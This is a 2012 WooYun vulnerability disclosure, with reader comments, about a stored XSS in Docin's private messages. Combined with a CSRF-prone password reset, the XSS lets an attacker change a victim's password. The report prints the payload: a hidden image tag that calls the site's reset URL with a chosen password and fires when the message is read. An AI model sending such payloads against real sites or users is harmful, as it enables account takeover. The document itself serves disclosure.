当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-08790

漏洞标题：豆丁网利用短消息修改他人密码

相关厂商：豆丁网

漏洞作者： 路人甲

提交时间：2012-06-26 12:45

修复时间：2012-08-10 12:45

公开时间：2012-08-10 12:45

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-06-26： 积极联系厂商并且等待厂商认领中，细节不对外公开
2012-08-10： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

通过短消息功能中的某些漏洞+某些设计缺陷可以实现发送短消息修改他人密码

详细说明：

发送短消息

哈哈哈哈哈哈哈哈哈哈
哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈
哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈
哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈
哈哈哈哈哈哈哈哈哈哈
哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈
哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈
哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈
<img src="http://www.docin.com/app/my/docin/reset?newPwd=123456&newPwdAgain=123456" style="display:none"/>


由于实际中短消息读取的时候是没有过滤导致一个xss的，加上修改密码逻辑存在csrf缺陷（其实是设计缺陷，即使不可以csrf一样利用xss可以修改），导致在用户阅读完短消息之后密码即被修改

漏洞证明：

修复方案：

嘿嘿

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：10 (WooYun评价)

漏洞评价：

评论

  1. 2012-06-26 12:46 | imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )

    路人甲真的是你小号。。。。。。

  2. 2012-06-27 11:27 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @imlonghao 貌似是公用马甲

  3. 2012-06-28 13:50 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    即使没有人听到，我也会保持呐喊

  4. 2012-06-28 19:59 | 一刀终情 ( 普通白帽子 | Rank:156 漏洞数:28 | ‮‮PKAV技术宅社区-安全爱好者)

    @水滴 即使没有人听到，我也会保持呐喊

  5. 2012-07-05 10:43 | 豆丁网(乌云厂商)

    已解决，谢谢

  6. 2012-07-05 12:08 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    @一刀终情 talk is cheap

  7. 2012-07-17 03:20 | 锄禾哥 ( 实习白帽子 | Rank:96 漏洞数:18 | <script>alert('我没帽子')</script>)

    没猜错应该是xss+csrf结合体的洞吧

  8. 2012-08-10 14:05 | dolo ( 路人 | Rank:0 漏洞数:2 | 我是善良的白帽子)

    csrf比较贴切吧